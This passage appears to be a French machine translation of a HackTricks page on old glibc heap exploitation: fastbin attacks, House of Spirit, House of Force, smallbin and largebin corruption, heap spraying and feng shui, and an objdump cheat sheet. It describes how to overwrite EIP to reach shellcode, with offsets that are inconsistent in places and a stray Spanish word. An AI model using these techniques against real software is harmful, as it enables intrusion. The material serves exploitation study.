De plus, il faut que le morceau contigu au morceau libéré soit plus grand que 8 -> Comme nous avons dit que la taille du morceau libéré est de 8, dans ce faux morceau, nous devons simplement mettre une taille supérieure à 8 (comme la shellcode sera également dans le morceau libéré, nous devrons mettre un jmp au début qui tombe sur les nops).
|
||
|
||
De plus, ce même faux morceau doit être inférieur à av->system\_mem. av->system\_mem est situé à 1848 octets plus loin.
|
||
|
||
En raison des zéros de \_DTOR\_END\_ et des quelques adresses dans la GOT, aucune de ces adresses de ces sections ne peut être écrasée, donc voyons comment appliquer fastbin pour attaquer la pile.
|
||
|
||
Une autre forme d'attaque consiste à rediriger **av** vers la pile.
|
||
|
||
Si nous modifions la taille pour qu'elle soit de 16 au lieu de 8, alors fastbin\_index() nous renverra fastbins\[0\] et nous pouvons l'utiliser pour écraser la pile.
|
||
|
||
Pour cela, il ne doit y avoir aucun canary ni de valeurs étranges sur la pile, en fait nous devons nous trouver dans cette configuration : 4 octets nuls + EBP + RET.
|
||
|
||
Les 4 octets nuls sont nécessaires car **av** sera à cette adresse et le premier élément d'un **av** est le mutex qui doit valoir 0.
|
||
|
||
**av->max\_fast** sera EBP et sera une valeur qui nous permettra de contourner les restrictions.
|
||
|
||
Dans **av->fastbins\[0\]**, nous écraserons avec l'adresse de **p** et ce sera RET, ainsi il sautera vers la shellcode.
|
||
|
||
De plus, dans **av->system\_mem** (1484 octets au-dessus de la position sur la pile), il y aura beaucoup de déchets qui nous permettront de contourner la vérification effectuée.
|
||
|
||
De plus, il faut que le morceau contigu au morceau libéré soit plus grand que 8 -> Comme nous avons dit que la taille du morceau libéré est de 16, dans ce faux morceau, nous devons simplement mettre une taille supérieure à 8 (comme la shellcode sera également dans le morceau libéré, nous devrons mettre un jmp au début qui tombe sur les nops qui se trouvent après le champ size du nouveau faux morceau).
|
||
|
||
**The House of Spirit**
|
||
|
||
Dans ce cas, nous cherchons à avoir un pointeur vers un malloc qui peut être modifié par l'attaquant (par exemple, le pointeur est sur la pile sous un possible dépassement de capacité d'une variable).
|
||
|
||
Ainsi, nous pourrions faire pointer ce pointeur où nous voulons. Cependant, tous les emplacements ne sont pas valides, la taille du morceau falsifié doit être inférieure à av->max\_fast et plus précisément égale à la taille demandée lors d'un futur appel à malloc()+8. Par conséquent, si nous savons qu'après ce pointeur vulnérable, malloc(40) est appelé, la taille du faux morceau doit être de 48.
|
||
Si, par exemple, le programme demande à l'utilisateur un nombre, nous pourrions entrer 48 et pointer le pointeur de malloc modifiable vers les 4 octets suivants (qui pourraient appartenir à EBP avec un peu de chance, de sorte que 48 soit en arrière, comme s'il s'agissait de l'en-tête size). De plus, l'adresse ptr-4+48 doit satisfaire plusieurs conditions (dans ce cas, ptr=EBP), c'est-à-dire 8 < ptr-4+48 < av->system_mem.
|
||
|
||
Si cela est vrai, lorsque le prochain malloc est appelé, qui était malloc(40), il se verra attribuer l'adresse de EBP. Si l'attaquant peut également contrôler ce qui est écrit dans ce malloc, il peut écraser à la fois EBP et EIP avec l'adresse de son choix.
|
||
|
||
Je pense que c'est parce que lorsque free() est appelé, il enregistre que l'adresse pointée par EBP de la pile contient un morceau de taille parfaite pour le nouveau malloc() à réserver, il lui attribue donc cette adresse.
|
||
|
||
**La Maison de la Force**
|
||
|
||
Il est nécessaire de :
|
||
|
||
* Un dépassement de mémoire sur un morceau qui permet de modifier le wilderness
|
||
* Un appel à malloc() avec une taille définie par l'utilisateur
|
||
* Un appel à malloc() dont les données peuvent être définies par l'utilisateur
|
||
|
||
La première chose à faire est de modifier la taille du morceau wilderness avec une valeur très grande (0xffffffff), de sorte que toute demande de mémoire suffisamment grande soit traitée dans \_int\_malloc() sans avoir besoin d'étendre le tas.
|
||
|
||
La deuxième chose est de modifier av->top pour qu'il pointe vers une zone mémoire sous le contrôle de l'attaquant, comme la pile. Dans av->top, on met \&EIP - 8.
|
||
|
||
Nous devons modifier av->top pour qu'il pointe vers la zone mémoire sous le contrôle de l'attaquant :
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck_at_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim récupère la valeur de l'adresse du morceau wilderness actuel (l'actuel av->top) et remainder est exactement la somme de cette adresse plus la quantité d'octets demandée par malloc(). Donc, si \&EIP-8 est à 0xbffff224 et av->top contient 0x080c2788, alors la quantité que nous devons réserver dans le malloc contrôlé pour que av->top pointe vers $EIP-8 pour le prochain malloc() sera :
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
Ainsi, la valeur modifiée sera enregistrée dans av->top et le prochain malloc pointera vers EIP et pourra l'écraser.
|
||
|
||
Il est important de savoir que la taille du nouveau morceau wilderness doit être plus grande que la demande faite par le dernier malloc(). C'est-à-dire, si le wilderness pointe vers \&EIP-8, la taille sera juste dans le champ EBP de la pile.
|
||
|
||
**La Maison de la Connaissance**
|
||
|
||
**Corruption de SmallBin**
|
||
|
||
Les morceaux libérés sont placés dans le bin en fonction de leur taille. Mais avant d'être placés, ils sont stockés dans unsorted bins. Lorsqu'un morceau est libéré, il n'est pas immédiatement placé dans son bin, mais reste dans unsorted bins. Ensuite, s'il y a une nouvelle demande de mémoire et que le morceau précédemment libéré peut être utilisé, il est renvoyé, mais s'il y a une demande de taille supérieure, le morceau libéré dans unsorted bins est placé dans son bin approprié.
|
||
|
||
Pour atteindre le code vulnérable, la demande de mémoire doit être supérieure à av->max_fast (généralement 72) et inférieure à MIN_LARGE_SIZE (512).
|
||
|
||
Si un morceau de la taille demandée est présent dans le bin, il est renvoyé après avoir été détaché :
|
||
|
||
bck = victim->bk; Pointe vers le morceau précédent, c'est la seule information que nous pouvons modifier.
|
||
|
||
bin->bk = bck; L'avant-dernier morceau devient le dernier, au cas où bck pointe vers la pile, le morceau suivant réservé recevra cette adresse.
|
||
|
||
bck->fd = bin; La liste est fermée en faisant pointer celle-ci vers bin.
|
||
|
||
Il est nécessaire de :
|
||
|
||
Réservation de deux malloc, de sorte que le premier puisse être débordé après que le second ait été libéré et placé dans son bin (c'est-à-dire, un malloc plus grand que le deuxième morceau est réservé avant le débordement)
|
||
|
||
Le malloc réservé à l'adresse choisie par l'attaquant doit être contrôlé par l'attaquant.
|
||
|
||
L'objectif est le suivant, si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons modifier son pointeur bk. Si nous modifions son pointeur bk et que ce morceau devient le premier de la liste du bin et est réservé, nous tromperons le bin en lui disant que le dernier morceau de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (comme la pile ou la GOT par exemple). Ainsi, si un autre morceau est réservé et que l'attaquant a des autorisations dessus, il recevra un morceau à la position souhaitée et pourra y écrire.
|
||
|
||
Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui qui a été libéré, de sorte que le morceau modifié sorte des unsorted bins et soit placé dans son bin.
|
||
|
||
Une fois dans son bin, il est temps de modifier le pointeur bk en utilisant le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.
|
||
|
||
Ainsi, le bin doit attendre que malloc() soit appelé suffisamment de fois pour que le bin modifié soit utilisé à nouveau et trompe le bin en lui faisant croire que le prochain morceau est à l'adresse fausse. Ensuite, le morceau qui nous intéresse sera donné.
|
||
|
||
Pour que la vulnérabilité s'exécute le plus tôt possible, l'idéal serait : Réservation du morceau vulnérable, réservation du morceau qui sera modifié, libération de ce morceau, réservation d'un morceau plus grand que celui qui sera modifié, modification du morceau (vulnérabilité), réservation d'un morceau de même taille que le morceau violé et réservation d'un deuxième morceau de même taille qui pointera vers l'adresse choisie.
|
||
|
||
Pour protéger cette attaque, la vérification typique que le morceau n'est pas faux est utilisée : on vérifie si bck->fd pointe vers victim. C'est-à-dire, dans notre cas, si le pointeur fd* du faux morceau pointé dans la pile pointe vers victim. Pour contourner cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement sur la pile) dans l'adresse appropriée l'adresse de victim. Ainsi, cela ressemblera à un vrai morceau.
|
||
|
||
**Corruption de LargeBin**
|
||
|
||
Les mêmes exigences que précédemment sont nécessaires, ainsi que d'autres, en plus les morceaux réservés doivent être supérieurs à 512.
|
||
|
||
L'attaque est similaire à la précédente, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc(), mais en plus il faut modifier la taille du morceau modifié de telle sorte que size - nb soit < MINSIZE.
|
||
|
||
Par exemple, il faut mettre 1552 dans size pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned)
|
||
|
||
De plus, un correctif a été ajouté pour le rendre encore plus compliqué.
|
||
|
||
**Heap Spraying**
|
||
Básicamente, consiste en réserver autant de mémoire que possible pour les tas et les remplir avec un matelas de nops suivi d'un shellcode. De plus, le matelas utilisé est 0x0c. On essaiera donc de sauter à l'adresse 0x0c0c0c0c, de sorte que si une adresse à laquelle on appelle avec ce matelas est écrasée, on sautera là-bas. Fondamentalement, la tactique consiste à réserver autant que possible pour voir si un pointeur est écrasé et à sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Il consiste à semer la mémoire en réservant et en libérant des morceaux de manière à ce qu'il reste des morceaux réservés entre les morceaux libres. Le tampon à déborder sera placé dans l'un des espaces vides.
|
||
|
||
**objdump -d executable** —> Désassembler les fonctions\
|
||
**objdump -d ./PROGRAMME | grep FONCTION** —> Obtenir l'adresse de la fonction\
|
||
**objdump -d -Mintel ./shellcodeout** —> Pour vérifier que c'est bien notre shellcode et obtenir les opcodes\
|
||
**objdump -t ./exec | grep varBss** —> Table des symboles, pour obtenir l'adresse des variables et des fonctions\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Pour obtenir l'adresse des fonctions de bibliothèques (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> Obtenir l'adresse de puts à écraser dans le GOT\
|
||
**objdump -D ./exec** —> Désassembler TOUT jusqu'aux entrées de la plt\
|
||
**objdump -p -/exec**\
|
||
**Info functions strncmp —>** Informations sur la fonction dans gdb
|
||
|
||
## Cours intéressants
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
|
||
## **Références**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|